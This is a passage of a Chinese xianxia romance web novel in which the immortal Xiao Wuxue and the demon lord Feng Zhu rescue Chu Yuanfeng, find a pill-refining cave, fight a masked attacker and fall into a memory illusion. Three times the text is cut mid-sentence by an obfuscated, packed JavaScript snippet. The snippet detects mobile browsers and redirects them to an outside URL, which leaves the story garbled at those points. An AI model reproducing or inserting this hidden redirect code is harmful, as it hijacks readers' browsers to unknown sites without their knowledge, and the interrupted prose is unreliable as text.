还是赶紧把姓褚的找回来吧,那大傻子至少骗起来好玩。 三人继续向林间深入,这回,无论封烛如何凑上前来与萧无雪亲热,他都不曾回应半分。 “我到底是哪里招惹你了?”封烛纳闷道,“难不成是方才在迷阵里遇上了什么棘手的麻烦,而我没能及时赶到?那也不能怪我啊,我自己也才刚脱身呢……还差点折在那迷阵里。” 萧无雪脚步一顿,终于忍不住开口:“堂堂北域魔尊,连个小小迷阵都对付不了?” 封烛眼底闪过一丝狡黠的笑,又马上收敛下来,做出一副怅然的模样:“话是这么说,可那迷雾毕竟能投射出人的弱点……谁心底里没有点难以战胜的惧怕之物呢?” 萧无雪:“惧怕之物?” “是啊。”封烛道,“说到这个,还没来得及问,阿霁,你在那迷阵中看到了什么?总不能因为你这人太木头脑袋,所以什么幻象都没有吧?” 萧无雪不答。 他的确遇到了幻象,可那东西……他看得出那黑雾是映射人心中的情感而形成的,但具体映射的是哪一种情感,他不确定。 真的是惧怕之物吗? 那……为何他看到的会是封烛? 幻象会变作封烛的模样,萧无雪原本是不觉得奇怪的。 萧无雪自幼修行天赋极高,得道至今,他其实没有遇到过什么绝对无法应对的情况。 除了封烛。 封烛身具天魔之骨,百年前修为便已登峰造极,与萧无雪可以说是势均力敌。若要挑个令萧无雪难以对付的敌人,那一定就是封烛。 可那种情感,怎么会是惧怕? 萧无雪下意识抚过腕间的佛珠,冰凉的佛珠静静伏在衣衫之下,浅金色的光芒在佛珠表面一闪而过。 这串佛珠是师尊留给他的,是专为清净道而生的至宝,能助他清心静气。 无我无心,无欲无求,心境澄净,不受外扰。 这法宝便是为了这些而存在。 方才面对那幻象时,他的心绪的确有过片刻动摇,但在这宝物的帮助之下,已经全然平复下来。 甚至……他都不太能回想得起来,那令自己动摇的东西究竟是什么。 但,应当不会是惧怕吧? 他怎么可能对封烛产生恐惧之心? ……厌恶或者忌惮还差不多。 萧无雪难得有些困惑,抬眼却见封烛仍在好奇地注视着他,便道:“那不妨你先说说,你又在幻象中看到了什么?” “我?”封烛悠悠叹气,“我看到的东西,可太多了。” 萧无雪狐疑地蹙眉,不太相信这是真话。 封烛顺势搂过他的肩膀:“这样吧,你先告诉我你遇到了什么,我就把我遇到的也告诉你,如此可算公平?” 萧无雪自然不可能与他说实话,但又莫名不想骗他,遂岔开了话题:“我原本以为,你不会有惧怕之物。” “怎么可能没有?”封烛笑了笑,“这世上的生灵,无论是人是魔,只要神识通明,就不会没有弱点。畏惧、憎恶、求而不得……我怕的东西可多了。” 萧无雪道:“但你还是破除了迷障,战胜了‘弱点’。” 封烛:“那是因为我知道这只是幻象。” 说到这里,封烛忽然停住脚步,偏过头来。 他垂眸望向萧无雪,抬手轻轻抚过他的脸颊。 那恰好是方才萧无雪破除幻象时,被对方鲜血溅染的位置。 他注视着萧无雪,声音放得极轻:“可有些东西,我从来就战胜不了。” 萧无雪睫羽轻颤。 他又何尝不是。 那迷阵并不能真正迷惑人心,萧无雪很清楚,方才出现在他面前的人只是一个幻象。 正因如此,才能战胜。 如果不是幻象,而是真实存在的人呢? 如果他与封烛再次站上对立面,一定要拼个你死我活呢? 萧无雪呼吸微微一乱,一股莫名的情绪再次涌上心头,胸口闷得有点喘不过气。 这是……怎么回事? 对他而言,与封烛敌对,是这么令人难以忍受的事吗? 可是,他不是早已经做过这样的事了吗? 在百年前…… 萧无雪眉宇紧蹙,忽然有些想不起来,在百年前,他是抱着怎样的心情与封烛挥剑相向。 他那时在想什么呢? 还是说,他什么都没有想,只是一心想为天下除去那个祸患。 封烛……真的是祸患吗? 他到底…… “阿霁?阿霁,冷静一点。” 耳畔传来低沉而温和的话音,萧无雪愣了下,才恍然发觉自己不知何时被封烛抱进了怀里。 是面对面的,紧紧相拥。 男人仗着身形高大完全将他拥进怀里,脑袋被按进对方肩窝,炙热的温度透过衣衫传递过来,带着一丝……令人安心的气息。 萧无雪闭上眼,听见了对方强而有力的心跳。 咚—— 咚—— 躁动不安的心绪奇迹般渐渐平复下来,封烛轻抚着他消瘦的脊背,道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807374|157898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你果然是在那迷阵里吃了亏吧,难怪一回来就与我闹别扭。是我不好,不该耽搁时间,该早些来找你的。” 萧无雪被他按在怀里,喉头干涩,一个字也说不出来。 “不怕啊,不用怕。”封烛轻声哄道,“都是假的,没有什么可怕的。” 萧无雪还是没有回应。 过了许久,他才闷声开口:“……放开我。” 封烛搂住萧无雪的双臂无声收紧,像是犹豫一下,还是依言松了手。 萧无雪的神情已经彻底恢复平静。 事实上,他的外表本就看不出有什么异样。 萧无雪向来是处变不惊的性子,就算是外物被扰乱了思绪,表面瞧着,也并无太大的情绪波动。 换做旁人,恐怕根本看不出他的不对劲。 萧无雪后退半步,平静地整了整衣衫。 封烛注视着他的动作,最终没再追问他究竟在迷阵中看见了什么,扭过了头。 二人前方,离棠不知何时也停下了脚步,正好奇地朝他们打量。 “还不快走,看什么呢!”封烛呵斥,“这是我道侣,又不是你道侣,再看本座挖了你眼睛!” “是!”离棠慌慌张张收回目光,继续往前走去。 . 有了离棠那标记的指引,三人在这错综复杂的林间如入无人之境。 不多时,三人来到一处山谷之中,终于见到了那熟悉的身影。 山谷间有溪水潺潺,远处一线瀑布从高处坠下,激起些许水雾。 褚元丰伏倒在浅滩旁的一块青石上,似乎已经失去了意识。 男人华贵的衣衫破了好几处,身上几处伤势还在往外渗血,整个人狼狈不堪。 离棠走上前去,抓着对方后领把人拎起来,仔细检查了一番,才道:“还活着,身上都是些皮外伤,多半是在树林里摔的。” 封烛道:“把他弄醒。” 离棠毫不犹豫,抬手就是一巴掌。 啪——! 褚元丰的头被打得偏去一边。 萧无雪:“……” 离棠等了一会儿,见后者仍然没醒,干脆利落又是几巴掌。 封烛:“……” 封烛在一旁抱臂而立,下意识摸了摸自己的侧脸,又朝萧无雪看去。后者已经背过身,观察起了周遭的环境。 阿霁冷是冷了点,待人还是温柔的。 打人也不疼。 封烛在心底不无庆幸地想。 褚元丰还是没醒,脸上泛起了几道明显的巴掌印。眼见离棠还有继续打下去的念头,封烛悠悠道:“别那么粗鲁,你还要继续留在他身边呢。” 离棠打得兴起,听言连忙止了动作,乖巧应道:“……是。” 他想了想,扶着人坐起来,掌心泛起一丝暗紫魔光,渡入对方背心。 魔族精纯的魔息随法力涌现出来。 封烛脸色一变,正欲开口阻拦,动作却是一顿。 他缓缓转头看向萧无雪,后者已经走到前方的瀑布旁,似乎发现了什么异样,正专心致志地思索着。 丝毫没有意识到几步之遥的浅滩上发生了什么。 也没有任何反应。 封烛眉头微微蹙起。 18.第 18 章 法术没入褚元丰体内,后者低吟一声,终于悠悠转醒。 他的意识似乎依旧十分混沌,茫然抬起头来,率先看见了半跪在自己身旁的少年:“……棠棠?” “公子!”离棠顿时做出一副又惊又喜的模样,神情泫然欲泣,“公子,你终于醒了!” 这声音终于惊动了萧无雪,他回过头来,恰好看见了这一幕。 萧无雪:“……” 真不愧是被封烛唯一带在身边的手下,这演技已经可以说是炉火纯青了。 他走到二人身边,问:“褚公子,你还记得发生了什么吗?” “发生了……什么?”褚元丰的神情仍有些茫然,疑惑地望向他,“云公子,你们怎么也在?” 他下意识抬起手来,却碰到了自己火热红肿的脸颊:“嘶,好疼!” 离棠温柔拉过他的手,没让他继续深究:“公子不记得了吗,你们来此地寻找褚家老爷的踪迹呀。我方才偷偷跟来,正好看见你追着一个黑衣人进了树林,多亏云公子他们及时找到了你……我好担心。” “黑衣人?……啊!”褚元丰总算清醒过来,“我想起来了,那是我爹!那个黑衣人用的是我爹的斩煞刀!” 他挣扎着站起身来,动作牵扯到了身上的伤势,疼得龇牙咧嘴:“我爹他、他杀了师兄师弟他们,他还想杀我!他居然想杀我……他是失心疯了吗?还是吃错了药?我爹平时连打都舍不得打我,他怎么可能——” 他急得前言不搭后语,说半天也没说到重点,离棠只得又将人搂住,温声出言安抚:“先冷静一点,别急,慢慢说。” 萧无雪没兴趣哄他,直接问道:“褚令修去了何处?你又为何会晕倒在这里?” “我……我也不知道。”褚元丰迟疑一下,捂着脑袋思索起来,“我应该是追着我爹进了山,可进来没多久山里就起雾了,我也把人跟丢了。” “后来,我在树林里遇到了好多长得很可怕的魔族,我打不过他们,就一路往山里逃,再后来……好像是有人救了我,是不是我爹来着……” “对了,那些魔族!那些魔族还在吗?!”他担忧道,“棠棠,你来的时候有没有碰到他们,你有没有受伤?” 魔族本人温声道:“没有,云公子他们都很照顾我,我没事的。” 萧无雪默然。 褚元丰是不可能在树林中遇到魔族的,那些所谓的魔族,多半也是这山中迷雾幻化出的假象。 他没有多言,又问:“你见到的究竟是不是褚令修,他现在人在哪里?” “应该是吧。”褚元丰挠了挠头发,“打扮是一样的,除了他还能有谁?” 他视线朝左右看了看,又轻轻“咦”了一声。 萧无雪:“怎么?” “我怎么到这里来了?”褚元丰疑惑道,“我记得我应该是往树林里跑的,怎么会到溪水边来,难道是摔下来的?” 不太可能。 这浅滩不大不小,但距离山崖仍有一段距离,就是摔下来,也不可能摔到这个位置。何况,从周围的环境看,也并无有人跌落山崖或被溪水冲下来的迹象。 萧无雪心下了然,低声道:“因为,是有人带你来的。” 褚元丰疑惑地眨了眨眼,萧无雪转身走到前方的瀑布边,抬手一挥。 原本水汽弥漫的瀑布下方,空间忽然缓缓扭曲,仿佛被人撕开一道裂隙,露出了其中的模样。 是个山洞。 “这——”褚元丰惊呼出声。 萧无雪道:“你在林中昏迷之后,应当是有人将你带来这里,至于目的,多半就是希望我们能发现此处。” 褚元丰:“那、那我爹在里面吗?” 萧无雪不答。 山洞内传来阵阵阴风,萧无雪凝神探查片刻,只觉那山洞内部犹如深不见底的古井深潭,令人辨不出深浅。 先是引他们进山,随后又将他们引来这山洞,对方的目的尚不知晓,但…… 萧无雪道:“你们留在这里,我进去看看。” 他这话并不是商量的语气,但褚元丰本就胆小怕事,方才敢追着他爹进山已经拿出了毕生勇气,此时冷静下来几乎连站都站不稳,是断然不会反驳的。 离棠还要在褚元丰面前演戏,也只能配合。 至于封烛…… 萧无雪视线回望过去。 这人从方才起就是一副若有所思的模样,被萧无雪看了一眼才回过神来,笑道:“怎么,想让夫君陪你?” 萧无雪收回目光:“……没有这个意思。” “那就当做没有吧。”封烛耸了耸肩,“不过你我道侣一场,这么危险的地方,我自然不能让你独自涉险,只能陪你走一趟了。” 他顿了顿,又道:“而且,我还有点重要的事,想找你单独聊聊呢。” . 萧无雪只能与封烛一同进了山洞。 山洞内,先是一段狭长的甬道。 这甬道多半是天然形成,内部昏暗狭窄,怪石嶙峋,瞧不出半分被人工开凿过的痕迹。潮气在突出的石壁上凝结成水珠,缓缓往下滴落。 如此逼仄的空间,本是难以供二人并肩行走的,可封烛那不与人肢体接触就浑身难受的毛病多半又犯了,不惜弯腰侧过身体,也要与萧无雪紧挨着往前走。 萧无雪被他挨得不自在,难得主动与他搭话:“你要与我说什么?” 封烛没有立刻回答。 魔域不见日光,对魔族而言,黑暗从不影响视物。他偏头望向萧无雪,难得有些犹豫。 离棠是纯粹的魔族,虽然模样看上去仍是个少年,实则修行百余年,修为在魔族中算得上佼佼者。他的魔息,更是不会弱于任何魔族。 萧无雪却不受他的魔息影响。 可先前封烛在他面前显露魔息时,他分明疼得那般厉害。 ……总不会也是装的吧? 封烛狐疑地蹙了眉,甚至想悄无声息显露一点魔息,再实验一番。可那念头不过一闪即逝,立即被封烛抛到了脑后。 不想让他疼。 罢了。 封烛眼底闪过一丝黯色,又很快掩盖下来,若无其事道:“没什么,只是想与你聊聊这一切究竟怎么回事。” 他问:“阿霁,你觉得褚令修为何会忽然袭击我们,又为何要引我们来这破地方?” 萧无雪:“等抓到了人,一切自然知晓。” 封烛轻轻撞了下他的肩膀:“你先分析一下嘛,不然就这么闷着走路,多无聊啊?” 萧无雪微蹙了眉,看神情似乎不太想理他,但最终还是乖乖开了口:“褚令修,应当并无自我意识。” 封烛配合地点头:“嗯嗯,然后?”< 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黑暗同样不影响他视物,超乎常人的视物能力,让他在黑暗中也能清晰看见对方英俊的侧脸轮廓,以及那几乎没有从他身上移开过的视线。 他停顿片刻,别过了头:“……不知道。” 封烛:“嗯?” “目前还没有证据表明此事是冲我而来。”萧无雪道,“那鬼面与散布噬魂丹的真凶有关,不管是谁参与调查这件事,或许都会成为目标。况且,褚令修十日前便已失去踪迹,而那时我们与褚家并无任何联系……你能不能别靠这么近?” 黑暗逼仄的环境,让一切往日不曾注意到的细节都变得格外明晰。 对方强而有力的心跳,隔着衣物时不时触碰到的肩膀、手臂,以及抚过他耳畔的,炙热滚烫的呼吸。 萧无雪呼吸微乱,头一次觉得这人的存在竟然如此令人心烦意乱。 封烛也愣了下,后知后觉明白了什么,含笑问:“阿霁,你是不是害羞了?” 他嗓音低沉,在这般黑暗的环境中,那声音几乎是紧贴着萧无雪耳根响起:“不想让我靠你太近,还是……不想让我碰你?” 炙热的气息故意贴得更近,封烛手抬起来,轻佻地在萧无雪耳垂上捏了捏。 !!! 萧无雪仿佛被踩了尾巴的猫,周身猝然一震,将人用力一推。 “登徒子!” 受正统仙门教诲养大的仙君,就连骂人都想不出什么有杀伤力的词汇。他气得胸膛微微起伏,呵斥道:“你要是不想干正事,就滚回去!” 呵斥声在幽深的洞穴中回响,封烛被他推得撞上身后的石壁,略显惊讶地望向他。 像是没想到他的反应会这么激烈。 察觉到自己失态,萧无雪神情迟滞一瞬,当即转身拂袖而去。 封烛没急着追上去,黑暗中,只能听见那凌乱的脚步声渐渐远去。 ——堂堂凌云仙尊,心绪到底是乱到了什么地步,才会连脚步声都忘了遮掩。 真是可爱得很。 “全身上下哪里我没碰过,反应这么大做什么……” 封烛眼底慢慢浮现起笑意,他轻轻捻了下手指,感受着残留在指尖的柔软微凉的触感:“脸皮儿还是这么薄……” 19.第 19 章 萧无雪有意加快脚步,没一会儿就将封烛彻底甩在了身后。 山洞内寒气逼人,潮气不知不觉浸染了衣衫,可耳畔那炙热的气息却如影随形,久久不曾消散。 他极力让自己忽视那陌生而古怪的感觉,很快在甬道尽头看见了一丝光亮。 萧无雪大步向前,眼前视野骤然开阔。 此处应当已在山腹之中,天然形成的石洞内部空间极高,穹顶之上,一缕阳光从石缝间的裂隙倾泻而下,明净的空气中浮动着尘埃。 在那石洞的深处,有一扇石门。 萧无雪走到门前。 那石门牢牢紧闭着,表面没有雕刻任何纹路,萧无雪试探地伸手一推,沉重的石门颤动一下,竟就这么徐徐开启。 空气中传来一丝腐朽的气息。 萧无雪迈步进去,嵌在石墙上的火把自动亮起,照亮了门内的光景。 这是一间不大不小的石室,石桌石椅布置齐全,书籍物品散落满地,似是曾经有人居住,却又因某些原因仓惶离开,来不及收拾。 在那石室的正中央,有一座两人高的炼丹炉。 那丹炉显然许久不曾被使用过,表面锈迹斑斑,落满了灰尘。 萧无雪绕着丹炉走了一圈,看清堆放在墙角的东西之后,神情微微一滞。 那是一堆漆黑的兽骨。 准确来说,是魔族死去后留下的尸骨。 这里……是噬魂丹的炼制之地。 萧无雪敛眸思索着什么,忽然听得石室外传来响动。他连忙往外走去,刚走到石门边,周身经脉陡然爆发一阵剧痛。 石门前,封烛双手幻化出利爪,一掌将面前的鬼面人击得倒飞出去。 浓郁的魔息不受控制地倾泻,封烛余光瞥见那道熟悉的身影出现在身后,体内凝聚的魔息骤然一散。 “当心!” 下一刻,鬼面人持重剑纵身而来,剑身凝聚邪气,迎头朝封烛劈来。 封烛本能抬手防御。 一道清亮剑光斜飞而来,击打在重剑之上,爆发的气劲同时将二人逼退。 封烛急退数步,被人拦腰一搂。 萧无雪持剑而立,脸色苍白而神情不悦,劈头盖脸就是斥骂:“好生御敌,你走什么神!” 封烛被他骂得愣了一下,笑道:“那不是还有你在吗?” 萧无雪别开视线,把人往身后一推:“不打就滚开。” 身后传来一声低沉的轻笑,萧无雪耳根又莫名发起烫来。他不再理会对方,执剑而上。 动起真格来,这世上恐怕没有几个人能是凌云仙尊的对手。 何况眼前的敌人,不过是个用丹药强行提升到化神期的修士。 萧无雪几招之内便打得鬼面人毫无还手之力,他挥剑挑开对方手中的重剑,一掌拍向对方胸膛,只听轰的一声,鬼面人倒飞出去,身体狠狠砸在了石壁上。 重剑哐当一声脱了手,鬼面人缓缓滑落到地上,在重击之下就连站也站不起来。 萧无雪走到他身边,剑锋轻轻一挥。 对方脸上的鬼面应声而碎。 可出现在那面具之下的,却不是人脸。 不详的黑气几乎完全遮盖了面具下本该有的那张脸,萧无雪瞳孔紧缩,不及再做什么,只见那黑气急速凝聚,在本该是对方人脸的地方,幻化为了一面青铜镜。 映出了萧无雪此刻苍白的容颜。 “阿霁!” 一股巨大的吸力凭空而来,萧无雪只瞥见一道身影从身后朝自己奔来,意识便迅速坠入了黑暗。 . 黑暗无声蔓延。 萧无雪在虚空中不断坠落,耳畔响起似曾相识的话音,仿佛从很远的地方传来。 “……你想杀了他们?为师教你剑术,就是让你用来做这些的吗?!” “他们纵使万般对不住你又如何,你既已踏上这条寻仙之路,就该以守护天下苍生为己任,怎能为一己私欲而妄动杀孽!” “你这样,修的究竟是仙还是魔,你还想不想飞升登天!” 意识在混沌间拉扯,萧无雪眉宇紧蹙,似是想要挣扎,却又不受控制地向着更深处坠落。 “这条寻仙之路注定只有孤寂,可你对凡尘依恋太深,七情六欲太过浓烈,长此以往,你只会止步不前。” “你得走下去,不惜一切代价地走下去,所有凡尘俗事都不该成为你的阻碍。” “飞升登天,这是为了天下苍生,更是你命中注定的职责!” …… 萧无雪猝然睁开眼。 周遭的环境骤然变得开阔明亮,一束刺眼的光芒自头顶落下,他本能抬手挡在眼前,只见明媚的阳光透过指尖洒落下来,麦田与青草特有的芬芳充斥着鼻息。 这是…… 他放下手,才发觉自己已不在那石洞之中。 眼前也不见那鬼面人或是封烛的踪影。 他站在了一片田野间。 远处群山连绵,山脚下的村落静谧而安宁,炊烟袅袅升起,飘散在蔚蓝如洗的晴空。 此间种种皆令他格外熟悉,萧无雪远眺着村落的方向,心底浮现出的却并非宁静,而是一股难以名状的不安。 快逃。 离开这里。 永远——永远也不要再回来。 “在哪儿,抓住他!”身后忽然传来陌生的喊声。 萧无雪回过头去,只见十余名村夫打扮的男人从远处奔来。 男人们脸上带着愤怒,心头那份不安瞬间变得更加明晰,甚至到了恐惧的地步。理智叫嚣着逃离,可浑身却好似被吓呆一般,丝毫动弹不得。 转瞬间,男人们来到他身边,将他团团围住。 有人用力抓住了他的胳膊。 “跑啊,你还想跑去哪儿,你以为你跑得出去?!”男人们粗鲁地推搡他,暴怒的大吼在他耳边响起,“白眼狼,养你这么久,连这点小事都不愿意做吗?” “……你是想害死我们吗?!!” 拖拽和推搡使得萧无雪衣袖抖落,露出了腕间的黑檀佛珠。 佛珠表面闪过一丝金光,萧无雪心底的混沌一扫而空,神识重新变得通明。 他抬手一挥,围在他身旁的男人被一道无形气劲掀翻出去,纷纷狼狈跌倒在地。 萧无雪闭了闭眼。 这是幻境。 在鬼面人身上出现的那面青铜镜,应当是某种能制造出幻境的法宝。他一时不察,被吸入镜中,因此陷入了这片虚幻空间。 萧无雪凝神感知片刻。 他是肉身进入幻境,本命剑与其他法器仍然在手,修为却只剩下三成。面前这群村民无疑都是普通人,脱离眼前的困境并不困难,但棘手的是,接下来该怎么做。 幻境无边无际,对身陷其中之人而言,就是一方真实存在的天地。 就像普通人穷极一生也不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14816010|157898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能触及世界的尽头,身处幻境中的人,很难凭借自身力量打破幻境所塑造出的世界。 哪怕他神识恢复了清醒,一时间也很难找到出口。 萧无雪视线往周遭一扫,众人跌跌撞撞爬起身,怒火尚未爆发,却被另一道苍老的声音压了下去:“大家伙儿都冷静点吧!” “是村长。”“村长来了!” 众人纷纷让开了道路。 那是个年过半百的老人,头发花白,浑浊的眼底闪烁着精明锐利的光芒:“云家小子,我们知道你心有不甘,但送你上山是大家伙儿一致同意的,劝你还是乖乖听话,免得再受苦头。” “你父母早逝,若不是邻里照顾你,哪里有你的今天?你现在跑,就是致大家于不义,整个村子的人都会被你害死的!” “再说,你那分明是享福去,以后有吃有穿有人照顾,哪里还需要像如今这样无依无靠,你说对不对?” 老人循循善诱,萧无雪一言不发地注视着他。 他知道这是哪里了。 此地名为福源村,与其名字一样,原本是个和平安宁的村庄。可数年前,这附近的山中来了一群落草为寇的山匪,建起了山寨。 那群山匪时常来村中打劫抢掠,就连官府也不敢插手。 村民苦不堪言,为了安稳度日,只能定期往山上送些粮食物品,以求山匪手下留情。 这种日子持续了数年,直到前不久,山匪内部发生了内斗,山寨也易了主。 听说,新寨主最喜爱那容貌昳丽的美少年,上位的第一件事,便是让村民给他送去几名少年,供他泄欲取乐。 谁都知道此去是有去无回,众人互相推诿,最终被选出来的,就是那名姓云的少年。 少年原本也是村中一名普通农户,他自幼丧父,六岁时母亲也意外去世,这些年独自在村中生活。他自小操持家中,想办法谋取生计,自认从未依靠过任何人。 但到头来,仍被旁人说成是受了照顾,活该为了他们牺牲。 孤苦少年无依无靠,是最适合作为献祭的牺牲品。 简陋的花轿摇摇晃晃,萧无雪端坐在花轿中,睫羽垂下,神情平静。 如他所想那样,只要他放弃抵抗,一切便会如故事中那般发展。 他承担了少年的角色,被人换上鲜红的喜服,用麻绳捆住手脚,一路吹吹打打送上了山。 没有人记得,在故事里,那天本是少年十四岁的生辰。 . 山寨中满是喧嚣,男人们的嬉笑和咒骂声隔着门扉传来,萧无雪侧身躺在铺了兽皮的小榻上,耐心等待着。 鲜红的喜服衬得他肤色雪白,他静静合着眼,面容宁静平和,宛如一朵坠入红尘的雪莲。 故事里,少年不愿被人强占,趁那山匪头子喝醉酒,哄骗对方解开了他的束缚,最终一刀刺破了对方的心脏。 那是他此生杀的第一个人。 若要遵照故事的走向,他如今也应该这么做才是。 房门传来轻响,有人推门走了进来。 萧无雪没有睁眼,袖中一丝银光闪过,一把匕首悄然出现在了他掌心。 “原来这就是送给我的新娘啊。” 熟悉的声音在头顶响起,萧无雪猝然睁开眼。 男人站在床前,脸上带着惯常的笑意,在触及萧无雪视线时,又故作疑惑地偏了偏头:“我听说送来的应当是个小美人,怎么竟是个大美人?” 20.第 20 章 眼前的人,竟是封烛。 封烛一身山匪打扮,整块兽皮裹着粗布衣衫,一头长发在脑后束成马尾,脖子上还挂着一串用兽牙串成的骨链。 见惯了这人那身贵公子行头,忽然换做这般野性十足的装扮,竟也别有一番风味。 萧无雪定定看了他一会儿,垂下眼来。 身前银光一闪,捆束着他手脚的绳索应声而断。 “好大胆的美人。”封烛故意做出一副惊讶的模样,“谁准你带刀上本寨主的床?” 匕首化作一道银光回到腰间,萧无雪坐起身来,轻轻转了转手腕:“我就带了,你要如何?” 那语气带了一丝不难察觉的挑衅,封烛眯起眼睛,两指抬起萧无雪的下巴:“你穿成这样,如今又被送上了本座的床,还问本座要如何?” 他故作凶狠:“睡了你,怕不怕?” 萧无雪脸上瞧不出丝毫畏惧,他抬眸与封烛对视,忽然问:“你的修为还剩多少?” 封烛警惕:“你问这做什么?” “那看来是被限制了不少。”萧无雪了然般点点头,不动声色试探,“还剩多少,三成有吗?” 封烛:“你管我有没有……难道你没有被限制修为?” 见他这反应萧无雪便心中有数了,他抓住封烛的手忽然施力,顺势将人掼上了榻。 萧无雪按着封烛的胸膛,俯下身来,修长的发丝垂到对方胸前,唇角勾起一丝冰冷的笑:“劝你还是老实一点,真动起手来,指不定谁吃亏。” 封烛不确定他是否在虚张声势,但也不敢轻举妄动,悻悻一笑:“阿霁,我没想到你竟有如此爱好。” 他嗔怪道:“……你要是想在上面就直说嘛,我也不是完全不能商量的。” 萧无雪:“……” 萧无雪到底比不上封烛没脸没皮,沉默片刻也没想到该怎么回应,低哼一声松了手,翩然起身。 “别浪费时间了,先想办法出去再说。”萧无雪问,“你怎么也进来了?” “自然是为了救你。”封烛顺势往榻上一躺,倚在靠枕上,“那会儿见你遇险,本想来拉你一把的,谁知连我也被吸进来了。” “不过,这幻境究竟是个什么玩意,不仅限制了修为,也探寻不到边际……你们修真界稀奇古怪的法器也太多了,成天研究这些,难怪近千年来只有你师尊一人成功飞升登天。” 萧无雪没理会他后面半句,解释道:“此间是由记忆塑造而成的浮生幻境,对身陷幻境的人而言,与现实无异,自然探寻不到边际。你若还在外面,你我里应外合,或许有机会打破,但现在……” 他幽幽朝封烛望了一眼。 封烛:“……” 封烛轻咳一声,转移话题:“你说记忆?这是什么记忆,谁的记忆?” 萧无雪仿佛没听到这个问题,又问:“你进来之后都遇到了什么,可有发现破镜的线索?” 这转移话题的方式比封烛方才还要生硬,他狐疑地眯起眼睛。 萧无雪身上穿的这喜袍是村民凑钱做的,用的并不是什么太好的料子,剪裁制式也不算精美。可这身红衣穿在他身上,却衬得皮肤雪白,明艳至极。 床头烛火跳动,映得他的五官轮廓分明,仿佛被镀上一层柔和的光。 封烛不自觉被那昳丽的身姿吸引,险些忘了自己要说什么。 直到萧无雪不耐烦地瞪他一眼,他才回过神来:“……我没什么线索。” “我醒来时便成了这山寨的寨主,只知道他们要给我送个美人过来,其余一概不知。”说到这里,他竟还遗憾地摇摇头,“就是可惜,先前明明听说是个十多岁的小美人,谁知道,竟是个几百岁的大美人。” “噢,那看来是我扫兴。”萧无雪悠悠道,“没想到尊主大人竟有如此爱好,坏了尊主大人好事,真是对不起了。” 封烛:“……” 封烛的脸色顿时变得极其精彩,他轻轻磨了下牙,没与他计较,又问:“那你呢,穿成这样来找我,是已经找到法子了?” 萧无雪:“原本是有,不过现在……” 依托记忆形成的浮生幻境,与寻常幻境有很大不同。 寻常幻境规律难辨,与现实无异,没有明显开端与结束,一旦误入其中,修为再高也只能束手无策。 所以修真界常有传闻,有大能修士意外坠入幻境,被困其中数月乃至数年。 而浮生幻境却不同。 这个幻境,是有“故事”的。 故事中,少年被送上山寨,凭一己之力手刃了试图强占他的寨主,终于逃下了山。他无家可归,饥寒交迫,经历漫长的流亡后终于获救,从此断绝尘缘,踏上了另一条截然不同的人生之路。 如果没有猜错,只要按照故事的进展走下去,故事结束之时,便是幻境结束的时候。 而这一切的核心,是“少年”必须手刃那位“寨主”。 听萧无雪讲述完毕,封烛恍然点头:“难怪你我会是这种角色,我还以为是这制造幻境的法器知道你对我始乱终弃,特意为我制造机会来了呢。” “……”萧无雪懒得理会他的贫嘴,道,“尊主大人还是尽快想办法破解这幻境吧,我们还不知道这幻境中的时间流速与现世是否一致,待得太久,外面恐怕会出乱子。” 封烛气定神闲地倚在小榻上:“还能想什么办法,你不是都说了吗,只能杀了我。” 萧无雪:“……” 有小部分幻境会以死亡作为破镜之法,但没有人敢保证,他们如今所在这幻境也是如此。尤其他们皆是以肉身被困幻境,若真在这其中出了事,现世中恐怕也凶多吉少。 萧无雪没有回答,一墙之隔的外头喧嚣依旧,屋内却霎时陷入了沉寂。 封烛直起身来,凑到他跟前,像是发现了什么令人极为惊奇的事:“阿霁,你该不会是舍不得动手吧?” 他动情道:“原来你这么爱我,就算忘记了过往,也舍不得让我陷入危险。” 萧无雪还是没有理会,封烛轻笑一声,正欲再开口逗逗他,心口却忽然被什么东西抵住了。 萧无雪抬起手,一把通体附着冰蓝光芒的细长仙剑缓缓在他掌心显形。 萧无雪的本命剑,凌云。 封烛:“……” “噬魂丹与魔族牵连甚广,任由其发展下去,恐会祸及整个修真界。”萧无雪眼底映着凌云剑冰冷的剑光,低声道,“我不会与你长久困在此处,假使最终确认别无他法,我……” 他张了张口,没有把话说完。 贴近心口的剑伤在凌云剑的威慑下隐隐作痛,封烛垂眸扫了眼那冰晶凝结般晶莹剔透的剑身,抬眼望向萧无雪:“你要如何?” “我……”萧无雪垂下眼,“自然是……谁输谁赢,各凭本事。” 封烛不说话了,眼底浮现出一丝嘲弄的笑意。 萧无雪也不再说什么,正欲收剑,却忽然被人握住了手腕。 剑锋在动作间晃动一下,险些直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14822746|157898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刺入封烛的胸膛。 “你做什么?”萧无雪脸色一变。 